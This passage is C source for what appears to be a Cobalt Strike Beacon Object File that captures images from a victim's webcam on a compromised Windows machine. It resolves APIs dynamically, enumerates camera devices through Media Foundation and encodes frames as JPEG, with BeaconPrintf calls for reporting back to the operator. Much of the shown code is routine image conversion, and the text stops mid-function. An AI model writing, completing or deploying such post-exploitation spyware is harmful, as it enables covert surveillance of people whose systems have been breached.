-
Notifications
You must be signed in to change notification settings - Fork 12
/
Copy pathentry.c
1689 lines (1435 loc) · 65 KB
/
entry.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#ifdef DECLSPEC_SELECTANY
#undef DECLSPEC_SELECTANY
#endif
#define DECLSPEC_SELECTANY
#define INITGUID
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strsafe.h>
#include <d3d9.h>
#include <mferror.h>
#include "mfapi.h"
#include <mfidl.h>
#include <mfreadwrite.h>
#include <stdbool.h>
#include <gdiplus.h>
#include <objidl.h>
/* Avoid redefinitions from bofdefs.h */
#undef ZeroMemory
#define ZeroMemory(address, size) memset(address, 0, size)
#undef malloc
// #pragma comment(lib, "mf.lib")
// #pragma comment(lib, "mfplat.lib")
// #pragma comment(lib, "mfplay.lib")
// #pragma comment(lib, "mfreadwrite.lib")
// #pragma comment(lib, "mfuuid.lib")
// #pragma comment(lib, "wmcodecdspuuid.lib")
#ifdef BOF
#include "bofdefs.h"
#endif
#pragma region error_handling
#define print_error(msg, hr) _print_error(__FUNCTION__, __LINE__, msg, hr)
BOOL _print_error(char* func, int line, char* msg, HRESULT hr) {
#ifdef BOF
//BeaconPrintf(CALLBACK_ERROR, "(%s at %d): %s 0x%08lx", func, line, msg, hr);
#else
printf("[-] (%s at %d): %s 0x%08lx\n", func, line, msg, hr);
#endif
return FALSE;
}
#pragma endregion
#define SAFE_RELEASE(p) do { if(p) { (p)->lpVtbl->Release(p); (p)=NULL; } } while(0)
/* Define our own constant GUIDs for video formats */
static const GUID s_MFVideoFormat_RGB32 = { 0x00000016, 0x0000, 0x0010, {0x80,0x00,0x00,0xaa,0x00,0x38,0x9b,0x71} };
static const GUID s_MFVideoFormat_RGB24 = { 0x00000017, 0x0000, 0x0010, {0x80,0x00,0x00,0xaa,0x00,0x38,0x9b,0x71} };
static const GUID s_MFVideoFormat_YUY2 = { 0x32595559, 0x0000, 0x0010, {0x80,0x00,0x00,0xaa,0x00,0x38,0x9b,0x71} };
static const GUID s_MFVideoFormat_NV12 = { 0x3231564E, 0x0000, 0x0010, {0x80,0x00,0x00,0xaa,0x00,0x38,0x9b,0x71} };
/* API function pointers */
typedef HANDLE (WINAPI* PFN_CreateFile)(LPCSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE);
PFN_CreateFile pCreateFile = NULL;
typedef BOOL (WINAPI* PFN_WriteFile)(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED);
PFN_WriteFile pWriteFile = NULL;
typedef BOOL (WINAPI* PFN_CloseHandle)(HANDLE);
PFN_CloseHandle pCloseHandle = NULL;
typedef HANDLE (WINAPI* PFN_FindFirstFile)(LPCSTR, LPWIN32_FIND_DATA);
PFN_FindFirstFile pFindFirstFile = NULL;
typedef BOOL (WINAPI* PFN_FindClose)(HANDLE);
PFN_FindClose pFindClose = NULL;
typedef VOID (WINAPI* PFN_DebugBreak)(void);
PFN_DebugBreak pDebugBreak = NULL;
typedef VOID (WINAPI* PFN_ZeroMemory)(PVOID, SIZE_T);
PFN_ZeroMemory pZeroMemory = NULL;
typedef VOID (WINAPI* PFN_CoTaskMemFree)(LPVOID);
PFN_CoTaskMemFree pCoTaskMemFree = NULL;
typedef HRESULT (WINAPI* PFN_CoInitializeEx)(LPVOID, DWORD);
PFN_CoInitializeEx pCoInitializeEx = NULL;
typedef HRESULT (WINAPI* PFN_MFGetStrideForBitmapInfoHeader)(REFGUID, UINT32, LONG*);
PFN_MFGetStrideForBitmapInfoHeader pMFGetStrideForBitmapInfoHeader = NULL;
typedef HRESULT (WINAPI* PFN_MFCreateAttributes)(IMFAttributes**, UINT32);
PFN_MFCreateAttributes pMFCreateAttributes = NULL;
typedef HRESULT (WINAPI* PFN_MFEnumDeviceSources)(IMFAttributes*, IMFActivate***, UINT32*);
PFN_MFEnumDeviceSources pMFEnumDeviceSources = NULL;
typedef HRESULT (WINAPI* PFN_MFCreateSourceReaderFromMediaSource)(IMFMediaSource*, IMFAttributes*, IMFSourceReader**);
PFN_MFCreateSourceReaderFromMediaSource pMFCreateSourceReaderFromMediaSource = NULL;
typedef void (WINAPI* PFN_MFCopyImage)(BYTE*, LONG, const BYTE*, LONG, DWORD, DWORD);
PFN_MFCopyImage pMFCopyImage = NULL;
typedef DWORD (WINAPI* PFN_GetCurrentProcessId)(void);
static PFN_GetCurrentProcessId pGetCurrentProcessId = NULL;
typedef BOOL (WINAPI* PFN_ProcessIdToSessionId)(DWORD dwProcessId, DWORD* pSessionId);
static PFN_ProcessIdToSessionId pProcessIdToSessionId = NULL;
typedef char* (__cdecl *PFN_getenv)(const char*);
static PFN_getenv pgetenv = NULL;
BOOL ResolveAPIs() {
HMODULE hMSVCRT = GetModuleHandleA("msvcrt.dll");
pgetenv = (PFN_getenv)GetProcAddress(hMSVCRT, "getenv");
// Load Kernel32
HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
if (!hKernel32) hKernel32 = LoadLibraryA("kernel32.dll");
if (!hKernel32) {
//BeaconPrintf(CALLBACK_OUTPUT, "\n[ERROR] Failed to load kernel32.dll");
return FALSE;
}
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] Loaded kernel32.dll at 0x%p", hKernel32);
// Resolve Kernel32 APIs
pGetCurrentProcessId = (PFN_GetCurrentProcessId)GetProcAddress(hKernel32, "GetCurrentProcessId");
if (!pGetCurrentProcessId) return FALSE;
pProcessIdToSessionId = (PFN_ProcessIdToSessionId)GetProcAddress(hKernel32, "ProcessIdToSessionId");
if (!pProcessIdToSessionId) return FALSE;
pCreateFile = (PFN_CreateFile)GetProcAddress(hKernel32, "CreateFileA");
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] CreateFileA at 0x%p", pCreateFile);
if (!pCreateFile) return FALSE;
pWriteFile = (PFN_WriteFile)GetProcAddress(hKernel32, "WriteFile");
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] WriteFile at 0x%p", pWriteFile);
if (!pWriteFile) return FALSE;
pCloseHandle = (PFN_CloseHandle)GetProcAddress(hKernel32, "CloseHandle");
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] CloseHandle at 0x%p", pCloseHandle);
if (!pCloseHandle) return FALSE;
pFindFirstFile = (PFN_FindFirstFile)GetProcAddress(hKernel32, "FindFirstFileA");
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] FindFirstFileA at 0x%p", pFindFirstFile);
if (!pFindFirstFile) return FALSE;
pFindClose = (PFN_FindClose)GetProcAddress(hKernel32, "FindClose");
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] FindClose at 0x%p", pFindClose);
if (!pFindClose) return FALSE;
pDebugBreak = (PFN_DebugBreak)GetProcAddress(hKernel32, "DebugBreak");
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] DebugBreak at 0x%p", pDebugBreak);
if (!pDebugBreak) return FALSE;
pZeroMemory = (PFN_ZeroMemory)GetProcAddress(hKernel32, "RtlZeroMemory");
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] RtlZeroMemory at 0x%p", pZeroMemory);
if (!pZeroMemory) return FALSE;
// Load Ole32
HMODULE hOle32 = GetModuleHandleA("ole32.dll");
if (!hOle32) hOle32 = LoadLibraryA("ole32.dll");
if (!hOle32) {
//BeaconPrintf(CALLBACK_OUTPUT, "\n[ERROR] Failed to load ole32.dll");
return FALSE;
}
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] Loaded ole32.dll at 0x%p", hOle32);
pCoTaskMemFree = (PFN_CoTaskMemFree)GetProcAddress(hOle32, "CoTaskMemFree");
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] CoTaskMemFree at 0x%p", pCoTaskMemFree);
if (!pCoTaskMemFree) return FALSE;
pCoInitializeEx = (PFN_CoInitializeEx)GetProcAddress(hOle32, "CoInitializeEx");
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] CoInitializeEx at 0x%p", pCoInitializeEx);
if (!pCoInitializeEx) return FALSE;
// Load MFPlat.dll
HMODULE hMFPlat = GetModuleHandleA("mfplat.dll");
if (!hMFPlat) hMFPlat = LoadLibraryA("mfplat.dll");
if (!hMFPlat) {
//BeaconPrintf(CALLBACK_OUTPUT, "\n[ERROR] Failed to load mfplat.dll");
return FALSE;
}
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] Loaded mfplat.dll at 0x%p", hMFPlat);
// Resolve valid MFPlat exports
pMFCreateAttributes = (PFN_MFCreateAttributes)GetProcAddress(hMFPlat, "MFCreateAttributes");
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] MFCreateAttributes at 0x%p", pMFCreateAttributes);
if (!pMFCreateAttributes) return FALSE;
// Resolve MFGetStrideForBitmapInfoHeader
pMFGetStrideForBitmapInfoHeader = (PFN_MFGetStrideForBitmapInfoHeader)GetProcAddress(hMFPlat, "MFGetStrideForBitmapInfoHeader");
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] MFGetStrideForBitmapInfoHeader at 0x%p", pMFGetStrideForBitmapInfoHeader);
if (!pMFGetStrideForBitmapInfoHeader) return FALSE;
pMFCopyImage = (PFN_MFCopyImage)GetProcAddress(hMFPlat, "MFCopyImage");
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] MFCopyImage at 0x%p", pMFCopyImage);
if (!pMFCopyImage) return FALSE;
// Load MF.dll
HMODULE hMF = GetModuleHandleA("mf.dll");
if (!hMF) hMF = LoadLibraryA("mf.dll");
if (!hMF) {
//BeaconPrintf(CALLBACK_OUTPUT, "\n[ERROR] Failed to load mf.dll");
return FALSE;
}
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] Loaded mf.dll at 0x%p", hMF);
pMFEnumDeviceSources = (PFN_MFEnumDeviceSources)GetProcAddress(hMF, "MFEnumDeviceSources");
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] MFEnumDeviceSources at 0x%p", pMFEnumDeviceSources);
if (!pMFEnumDeviceSources) return FALSE;
// Load MFReadWrite.dll
HMODULE hMFReadWrite = GetModuleHandleA("mfreadwrite.dll");
if (!hMFReadWrite) hMFReadWrite = LoadLibraryA("mfreadwrite.dll");
if (!hMFReadWrite) {
//BeaconPrintf(CALLBACK_OUTPUT, "\n[ERROR] Failed to load mfreadwrite.dll");
return FALSE;
}
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] Loaded mfreadwrite.dll at 0x%p", hMFReadWrite);
pMFCreateSourceReaderFromMediaSource = (PFN_MFCreateSourceReaderFromMediaSource)
GetProcAddress(hMFReadWrite, "MFCreateSourceReaderFromMediaSource");
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] MFCreateSourceReaderFromMediaSource at 0x%p",pMFCreateSourceReaderFromMediaSource);
if (!pMFCreateSourceReaderFromMediaSource) return FALSE;
//BeaconPrintf(CALLBACK_OUTPUT, "\n[DEBUG] All required APIs resolved successfully");
return TRUE;
}
/* Start of stuff ported from HiddenDesktop (i blatantly steal the bmp to jpeg function yet again)*/
// ---------------------------------------------------------------------------
// Typedefs for GDI+ functions
// ---------------------------------------------------------------------------
typedef GpStatus (WINAPI *PFN_GdiplusStartup)(ULONG_PTR*, const GdiplusStartupInput*, GdiplusStartupOutput*);
typedef VOID (WINAPI *PFN_GdiplusShutdown)(ULONG_PTR);
typedef GpStatus (WINAPI *PFN_GdipCreateBitmapFromHBITMAP)(HBITMAP, HPALETTE, GpBitmap**);
typedef GpStatus (WINAPI *PFN_GdipDisposeImage)(GpImage*);
typedef GpStatus (WINAPI *PFN_GdipSaveImageToStream)(GpImage*, IStream*, const CLSID*, const EncoderParameters*);
// These two functions are also used in your bitmapToJpg function:
typedef GpStatus (WINAPI *PFN_GdipCreateBitmapFromStream)(IStream*, GpBitmap**);
typedef GpStatus (WINAPI *PFN_GdipCreateHBITMAPFromBitmap)(GpBitmap*, HBITMAP*, ARGB);
typedef HBITMAP (WINAPI* PFN_CreateBitmap)(int, int, UINT, UINT, const void*);
typedef HBITMAP (WINAPI* PFN_pCreateDIBSection)(HDC, const BITMAPINFO*, UINT, VOID**, HANDLE, DWORD);
// ---------------------------------------------------------------------------
// Global function pointer variables
// ---------------------------------------------------------------------------
static PFN_CreateBitmap pCreateBitmap = NULL;
static PFN_GdiplusStartup pGdiplusStartup = NULL;
static PFN_GdiplusShutdown pGdiplusShutdown = NULL;
static PFN_GdipCreateBitmapFromHBITMAP pGdipCreateBitmapFromHBITMAP = NULL;
static PFN_GdipDisposeImage pGdipDisposeImage = NULL;
static PFN_GdipSaveImageToStream pGdipSaveImageToStream = NULL;
static PFN_GdipCreateBitmapFromStream pGdipCreateBitmapFromStream = NULL;
static PFN_GdipCreateHBITMAPFromBitmap pGdipCreateHBITMAPFromBitmap = NULL;
static PFN_pCreateDIBSection pCreateDIBSection = NULL;
// ---------------------------------------------------------------------------
// ResolveGDIs: Loads gdiplus.dll and resolves the required functions
// ---------------------------------------------------------------------------
BOOL ResolveGDIs()
{
// Attempt to get a handle to gdiplus.dll. If not loaded, load it.
HMODULE hGdiPlus = GetModuleHandleA("gdiplus.dll");
if (!hGdiPlus)
hGdiPlus = LoadLibraryA("gdiplus.dll");
if (!hGdiPlus)
return FALSE;
// Resolve each function and check for failure.
pGdiplusStartup = (PFN_GdiplusStartup)GetProcAddress(hGdiPlus, "GdiplusStartup");
if (!pGdiplusStartup)
return FALSE;
pGdiplusShutdown = (PFN_GdiplusShutdown)GetProcAddress(hGdiPlus, "GdiplusShutdown");
if (!pGdiplusShutdown)
return FALSE;
pGdipCreateBitmapFromHBITMAP = (PFN_GdipCreateBitmapFromHBITMAP)GetProcAddress(hGdiPlus, "GdipCreateBitmapFromHBITMAP");
if (!pGdipCreateBitmapFromHBITMAP)
return FALSE;
pGdipDisposeImage = (PFN_GdipDisposeImage)GetProcAddress(hGdiPlus, "GdipDisposeImage");
if (!pGdipDisposeImage)
return FALSE;
pGdipSaveImageToStream = (PFN_GdipSaveImageToStream)GetProcAddress(hGdiPlus, "GdipSaveImageToStream");
if (!pGdipSaveImageToStream)
return FALSE;
pGdipCreateBitmapFromStream = (PFN_GdipCreateBitmapFromStream)GetProcAddress(hGdiPlus, "GdipCreateBitmapFromStream");
if (!pGdipCreateBitmapFromStream)
return FALSE;
pGdipCreateHBITMAPFromBitmap = (PFN_GdipCreateHBITMAPFromBitmap)GetProcAddress(hGdiPlus, "GdipCreateHBITMAPFromBitmap");
if (!pGdipCreateHBITMAPFromBitmap)
return FALSE;
HMODULE hGdi32 = GetModuleHandleA("gdi32.dll");
if (!hGdi32) hGdi32 = LoadLibraryA("gdi32.dll");
if (!hGdi32) return FALSE;
pCreateBitmap = (PFN_CreateBitmap)GetProcAddress(hGdi32, "CreateBitmap");
if (!pCreateBitmap) {
BeaconPrintf(CALLBACK_ERROR, "[ERROR] Failed to resolve CreateBitmap");
return FALSE;
}
pCreateDIBSection = (PFN_pCreateDIBSection)GetProcAddress(hGdi32, "CreateDIBSection");
if (!pCreateDIBSection) {
BeaconPrintf(CALLBACK_ERROR, "[ERROR] Failed to resolve CreateDIBSection");
return FALSE;
}
return TRUE;
}
/* modified slightly from the one in HiddenDesktop */
BOOL BitmapToJpeg(HBITMAP hBitmap, int quality, BYTE** pJpegData, DWORD* pJpegSize)
{
// Ensure GDI+ APIs are resolved.
if (!ResolveGDIs() ||
!pGdiplusStartup || !pGdiplusShutdown || !pGdipCreateBitmapFromHBITMAP ||
!pGdipDisposeImage || !pGdipSaveImageToStream)
{
return FALSE;
}
// Initialize GDI+ startup.
GdiplusStartupInput gdiplusStartupInput;
gdiplusStartupInput.GdiplusVersion = 1;
gdiplusStartupInput.DebugEventCallback = NULL;
gdiplusStartupInput.SuppressBackgroundThread = FALSE;
gdiplusStartupInput.SuppressExternalCodecs = FALSE;
ULONG_PTR gdiplusToken = 0;
if (pGdiplusStartup(&gdiplusToken, &gdiplusStartupInput, NULL) != Ok) {
BeaconPrintf(CALLBACK_ERROR, "[DEBUG] GdiplusStartup failed");
return FALSE;
}
// Create a GDI+ bitmap from the HBITMAP.
GpBitmap* pGpBitmap = NULL;
if (pGdipCreateBitmapFromHBITMAP(hBitmap, NULL, &pGpBitmap) != Ok) {
BeaconPrintf(CALLBACK_ERROR, "[DEBUG] GdipCreateBitmapFromHBITMAP failed");
pGdiplusShutdown(gdiplusToken);
return FALSE;
}
// Create an IStream on a global memory handle.
IStream* pStream = NULL;
if (CreateStreamOnHGlobal(NULL, TRUE, &pStream) != S_OK) {
BeaconPrintf(CALLBACK_ERROR, "[DEBUG] CreateStreamOnHGlobal failed");
pGdipDisposeImage((GpImage*)pGpBitmap);
pGdiplusShutdown(gdiplusToken);
return FALSE;
}
// Set up encoder parameters for JPEG quality.
EncoderParameters encoderParams;
encoderParams.Count = 1;
CLSID clsidEncoderQuality = { 0x1d5be4b5, 0xfa4a, 0x452d, {0x9c, 0xdd, 0x5d, 0xb3, 0x51, 0x05, 0xe7, 0xeb} };
encoderParams.Parameter[0].Guid = clsidEncoderQuality;
encoderParams.Parameter[0].NumberOfValues = 1;
encoderParams.Parameter[0].Type = EncoderParameterValueTypeLong;
encoderParams.Parameter[0].Value = &quality;
// JPEG encoder CLSID.
CLSID clsidJPEG = { 0x557cf401, 0x1a04, 0x11d3, {0x9a, 0x73, 0x00, 0x00, 0xf8, 0x1e, 0xf3, 0x2e} };
// Save the image to the stream as JPEG.
if (pGdipSaveImageToStream((GpImage*)pGpBitmap, pStream, &clsidJPEG, &encoderParams) != Ok) {
BeaconPrintf(CALLBACK_ERROR, "[DEBUG] GdipSaveImageToStream failed");
pStream->lpVtbl->Release(pStream);
pGdipDisposeImage((GpImage*)pGpBitmap);
pGdiplusShutdown(gdiplusToken);
return FALSE;
}
// Obtain the size of the stream.
LARGE_INTEGER liZero;
liZero.QuadPart = 0;
ULARGE_INTEGER uliSize;
uliSize.QuadPart = 0;
if (pStream->lpVtbl->Seek(pStream, liZero, STREAM_SEEK_END, &uliSize) != S_OK) {
BeaconPrintf(CALLBACK_ERROR, "[DEBUG] Seek to end failed");
pStream->lpVtbl->Release(pStream);
pGdipDisposeImage((GpImage*)pGpBitmap);
pGdiplusShutdown(gdiplusToken);
return FALSE;
}
*pJpegSize = (DWORD)uliSize.QuadPart;
*pJpegData = (BYTE*)malloc(*pJpegSize);
if (!*pJpegData) {
pStream->lpVtbl->Release(pStream);
pGdipDisposeImage((GpImage*)pGpBitmap);
pGdiplusShutdown(gdiplusToken);
return FALSE;
}
// Seek back to the beginning of the stream.
if (pStream->lpVtbl->Seek(pStream, liZero, STREAM_SEEK_SET, NULL) != S_OK) {
free(*pJpegData);
pStream->lpVtbl->Release(pStream);
pGdipDisposeImage((GpImage*)pGpBitmap);
pGdiplusShutdown(gdiplusToken);
return FALSE;
}
// Read the JPEG data into our buffer.
ULONG bytesRead = 0;
if (pStream->lpVtbl->Read(pStream, *pJpegData, *pJpegSize, &bytesRead) != S_OK ||
bytesRead != *pJpegSize)
{
free(*pJpegData);
pStream->lpVtbl->Release(pStream);
pGdipDisposeImage((GpImage*)pGpBitmap);
pGdiplusShutdown(gdiplusToken);
return FALSE;
}
// Cleanup.
pStream->lpVtbl->Release(pStream);
pGdipDisposeImage((GpImage*)pGpBitmap);
pGdiplusShutdown(gdiplusToken);
return TRUE;
}
/* End of stuff ported from HiddenDesktop */
void CreateBitmapFile(LPCWSTR fileName, long width, long height, WORD bitsPerPixel, BYTE* bitmapData, DWORD bitmapDataLength) {
HANDLE file;
BITMAPFILEHEADER fileHeader;
BITMAPINFOHEADER fileInfo;
DWORD writePosn = 0;
file = pCreateFile((LPCSTR)fileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
fileHeader.bfType = 19778;
fileHeader.bfSize = sizeof(fileHeader.bfOffBits) + sizeof(RGBTRIPLE);
fileHeader.bfReserved1 = 0;
fileHeader.bfReserved2 = 0;
fileHeader.bfOffBits = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER);
fileInfo.biSize = sizeof(BITMAPINFOHEADER);
fileInfo.biWidth = width;
fileInfo.biHeight = height;
fileInfo.biPlanes = 1;
fileInfo.biBitCount = bitsPerPixel;
fileInfo.biCompression = BI_RGB;
fileInfo.biSizeImage = width * height * (bitsPerPixel / 8);
fileInfo.biXPelsPerMeter = 2400;
fileInfo.biYPelsPerMeter = 2400;
fileInfo.biClrImportant = 0;
fileInfo.biClrUsed = 0;
pWriteFile(file, &fileHeader, sizeof(fileHeader), &writePosn, NULL);
pWriteFile(file, &fileInfo, sizeof(fileInfo), &writePosn, NULL);
pWriteFile(file, bitmapData, bitmapDataLength, &writePosn, NULL);
pCloseHandle(file);
}
int fileExists(TCHAR* file) {
WIN32_FIND_DATA FindFileData;
HANDLE handle = pFindFirstFile((LPCSTR)file, &FindFileData);
int found = (handle != INVALID_HANDLE_VALUE);
if (found) {
pFindClose(handle);
}
return found;
}
/* VideoBufferLock */
typedef struct _VideoBufferLock {
IMFMediaBuffer* pBuffer;
IMF2DBuffer* p2DBuffer;
BOOL bLocked;
} VideoBufferLock;
void VideoBufferLock_Init(VideoBufferLock* lock, IMFMediaBuffer* pBuffer) {
lock->pBuffer = pBuffer;
pBuffer->lpVtbl->AddRef(pBuffer);
lock->p2DBuffer = NULL;
lock->bLocked = FALSE;
pBuffer->lpVtbl->QueryInterface(pBuffer, &IID_IMF2DBuffer, (void**)&(lock->p2DBuffer));
}
HRESULT VideoBufferLock_LockBuffer(VideoBufferLock* lock, LONG lDefaultStride, DWORD dwHeightInPixels, BYTE** ppbScanLine0, LONG* plStride) {
HRESULT hr = S_OK;
if (lock->p2DBuffer) {
hr = lock->p2DBuffer->lpVtbl->Lock2D(lock->p2DBuffer, ppbScanLine0, plStride);
} else {
BYTE* pData = NULL;
hr = lock->pBuffer->lpVtbl->Lock(lock->pBuffer, &pData, NULL, NULL);
if (SUCCEEDED(hr)) {
*plStride = lDefaultStride;
if (lDefaultStride < 0)
*ppbScanLine0 = pData + abs(lDefaultStride) * (dwHeightInPixels - 1);
else
*ppbScanLine0 = pData;
}
}
lock->bLocked = SUCCEEDED(hr);
return hr;
}
void VideoBufferLock_UnlockBuffer(VideoBufferLock* lock) {
if (lock->bLocked) {
if (lock->p2DBuffer)
lock->p2DBuffer->lpVtbl->Unlock2D(lock->p2DBuffer);
else
lock->pBuffer->lpVtbl->Unlock(lock->pBuffer);
lock->bLocked = FALSE;
}
}
void VideoBufferLock_Cleanup(VideoBufferLock* lock) {
VideoBufferLock_UnlockBuffer(lock);
SAFE_RELEASE(lock->pBuffer);
SAFE_RELEASE(lock->p2DBuffer);
}
/* ColorConverter */
typedef void (*IMAGE_TRANSFORM_FN)(BYTE* pDest, LONG lDestStride, const BYTE* pSrc, LONG lSrcStride, DWORD dwWidthInPixels, DWORD dwHeightInPixels);
typedef struct _ConversionFunction {
GUID subtype;
IMAGE_TRANSFORM_FN xform;
} ConversionFunction;
typedef struct _CColorConverter {
UINT m_width;
UINT m_height;
LONG m_lDefaultStride;
MFRatio m_PixelAR;
MFVideoInterlaceMode m_interlace;
IMAGE_TRANSFORM_FN m_convertFn;
} CColorConverter;
void CColorConverter_Init(CColorConverter* cc) {
cc->m_convertFn = NULL;
}
void CColorConverter_Destroy(CColorConverter* cc) { }
static void TransformImage_RGB24(BYTE* pDest, LONG lDestStride, const BYTE* pSrc, LONG lSrcStride, DWORD dwWidthInPixels, DWORD dwHeightInPixels) {
DWORD y, x;
for (y = 0; y < dwHeightInPixels; y++) {
RGBTRIPLE* pSrcPel = (RGBTRIPLE*)pSrc;
DWORD* pDestPel = (DWORD*)pDest;
for (x = 0; x < dwWidthInPixels; x++) {
pDestPel[x] = D3DCOLOR_XRGB(pSrcPel[x].rgbtRed, pSrcPel[x].rgbtGreen, pSrcPel[x].rgbtBlue);
}
pSrc += lSrcStride;
pDest += lDestStride;
}
}
static void TransformImage_RGB32(BYTE* pDest, LONG lDestStride, const BYTE* pSrc, LONG lSrcStride, DWORD dwWidthInPixels, DWORD dwHeightInPixels) {
pMFCopyImage(pDest, lDestStride, pSrc, lSrcStride, dwWidthInPixels * 4, dwHeightInPixels);
}
static void TransformImage_YUY2(
BYTE* pDest, LONG lDestStride,
const BYTE* pSrc, LONG lSrcStride,
DWORD dwWidthInPixels, DWORD dwHeightInPixels)
{
for (DWORD y = 0; y < dwHeightInPixels; y++) {
RGBQUAD* pDestPel = (RGBQUAD*)pDest;
WORD* pSrcPel = (WORD*)pSrc;
for (DWORD x = 0; x < dwWidthInPixels; x += 2) {
int y0 = (int)LOBYTE(pSrcPel[x]);
int u0 = (int)HIBYTE(pSrcPel[x]);
int y1 = (int)LOBYTE(pSrcPel[x + 1]);
int v0 = (int)HIBYTE(pSrcPel[x + 1]);
// Convert first pixel (Y0, U0, V0)
int c = y0 - 16;
int d = u0 - 128;
int e = v0 - 128;
// Red
int valR = (298 * c + 409 * e + 128) >> 8;
if (valR < 0) valR = 0;
if (valR > 255) valR = 255;
BYTE r = (BYTE)valR;
// Green
int valG = (298 * c - 100 * d - 208 * e + 128) >> 8;
if (valG < 0) valG = 0;
if (valG > 255) valG = 255;
BYTE g = (BYTE)valG;
// Blue
int valB = (298 * c + 516 * d + 128) >> 8;
if (valB < 0) valB = 0;
if (valB > 255) valB = 255;
BYTE b = (BYTE)valB;
pDestPel[x].rgbBlue = b;
pDestPel[x].rgbGreen = g;
pDestPel[x].rgbRed = r;
pDestPel[x].rgbReserved = 0;
// Convert second pixel (Y1, same U/V)
c = y1 - 16;
valR = (298 * c + 409 * e + 128) >> 8;
